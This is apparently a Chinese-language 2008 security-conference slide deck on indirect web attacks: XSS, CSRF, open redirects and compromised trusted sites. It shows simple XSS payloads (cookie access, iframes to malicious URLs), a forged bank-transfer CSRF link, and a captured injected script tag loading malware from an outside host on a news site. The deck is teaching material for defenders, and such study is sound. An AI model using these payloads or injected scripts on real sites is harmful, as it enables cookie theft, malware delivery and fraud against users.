



**You Can't See Me ! !**

**看不見的網站攻擊**

**Unohope / Trueman**

**HIT Conference 2008**

# 講者簡介

u **Trueman**

u <http://roamer.cc>

u 網駭科技技術顧問，曾任職於入口網站、金融業、資安原廠與專業資安服務廠商；專長於網路滲透測試、駭客攻擊手法研究。並曾擔任多場資安研討與發表會主講人。

HIT Conference 2008

# 看不見的網站攻擊手法

- u 網站管理者在面對網站攻擊時的反應通常總是慢半拍，往往等到網站淪陷了！才有所警覺！！
- u 有許多的間接式網站攻擊手法是管理者所難以偵測的，在這種情況下，網站管理者該如何保障網站使用者的安全呢？

# 近期常見間接式網站攻擊手法

- u XSS
- u CSRF
- u Redirect
- u 信任網站
- u And...

HIT Conference 2008

# XSS

- u **Cross Site Scripting**

- u 跨站腳本攻擊

- u 輸入值驗證錯誤（**Input Validation Error**）的安全弱點

- u 攻擊對象非網站本身

- u 『你出包，我倒楣，他真爽！』

HIT Conference 2008

# Cross-Site Scripting

- u 在 Web 應用程式中，當參數或資料顯示成 HTML 網頁前，未檢查內容是否含 HTML tag 或網頁腳本，導致被駭客利用，攻擊其他瀏覽網站的無辜使用者
- u 簡單的攻擊例子
  - `http://www.victim.com/function.cgi?data=<script>alert("XSS!")</script>`
  - `http://www.victim.com/function.cgi?data=<iframe src="<evilURL>"></iframe>`

HIT Conference 2008

# 常見利用

## u 竊取cookie等機敏資訊

- `<script>alert(document.cookie)</script>`

## u 掛馬

- `<iframe src="惡意連結位址"></iframe>`

## u 網路釣魚

- `<iframe src="釣魚網站位址"></iframe>`

# 常見散播管道

- u 廣告信
- u 論壇發文
- u 縮網址
- u 關鍵字與網頁看板廣告
- u ...etc

HIT Conference 2008



# Cross-Site Request Forgery

- u 簡稱**CSRF**或**XSRF**
- u 廣義**XSS**的一種
- u 針對登入後的網站執行操作

HIT Conference 2008

# Alice轉帳100元給Bob時

- ⌋ **POST http://bank.com/transfer.do HTTP/1.1**
- ⌋ ...
- ⌋ ...
- ⌋ ...
- ⌋ **Content-Length: 19;**
- ⌋ **user=BOB&money=100**

HIT Conference 2008

# 惡意使用者Maria

- u 而另一位惡意的使用者Maria留意到在轉帳的過程中，網頁程式會執行底下的URL與參數：

[GET http://bank.com/transfer.do?acct=BOB&amount=100](http://bank.com/transfer.do?acct=BOB&amount=100)

- u Maria打算利用這個網頁程式的特性來誘騙Alice轉帳給自己，只要Alice是在登入bank.com的狀態下執行底下語法，將會自動從戶頭中轉帳100000到Maria的戶頭：

<http://bank.com/transfer.do?acct=MARIA&amount=100000>

- u 接下來Maria就只要思考該怎樣偽裝這段連結讓Alice或其他該銀行的用戶不小心執行，就可以坐著等待大筆鈔票被匯進自己的戶頭了！

# 相關慘案

## u **Samy Worm**

- <http://en.wikipedia.org/wiki/Samy>

## u **Gmail**

- <http://www.gnucitizen.org/blog/google-gmail-email-hijack-technique/>

## u **CSRFDB**

- <http://csrf.0x000000.com/csrfdb.php>

HIT Conference 2008

# Redirect

- u 各大入口網站普遍存在的問題
- u 使用者可能被導引至任意網站
- u 大量遭垃圾信件利用
- u 可利用來繞過部份網站偵測機制

HIT Conference 2008



# 案例分析與進階利用

HIT Conference 2008



# 信任網站

HIT Conference 2008

# MSN新聞網站被掛馬？

The screenshot shows a Windows Internet Explorer browser window. The address bar contains the URL `http://www.itis.tw/malicious_url/3742`. The browser has two tabs open: "MSN 台灣新聞 遭植入惡意連結或程式" and "yam天空-股市 遭植入惡意...". The main content area displays the MSN News website with a navigation bar and a news article titled "長期重度使用大麻與結構性腦異常". An inset window shows the source code of the article, highlighting a JavaScript link: `<script src=http://www.heihei117.cn/k.js></script>`. A "Web Anti-Virus" warning dialog is overlaid on the right, stating: "File contains Trojan program. You are advised to terminate the download. Trojan program: Trojan-Downloader.HTML.Agent.iz. File: http://o7n9.cn/456.htm". The dialog offers "Allow" and "Deny" options, with "Deny" selected.

內含可疑連結：<http://www.heihei117.cn/k.js>

HIT



# 真實情況

- u 被入侵的頁面皆為國際厚生網站提供之新聞
- u 實際被入侵的網站為國際厚生網站
- u **MSN**網站引用國際厚生網站提供之資料，但並未做檢驗與過濾，導致刊登的新聞內容包含惡意連結

HIT Conference 2008



還有哪些威脅呢？

**We will show you ! !**

**HIT Conference 2008**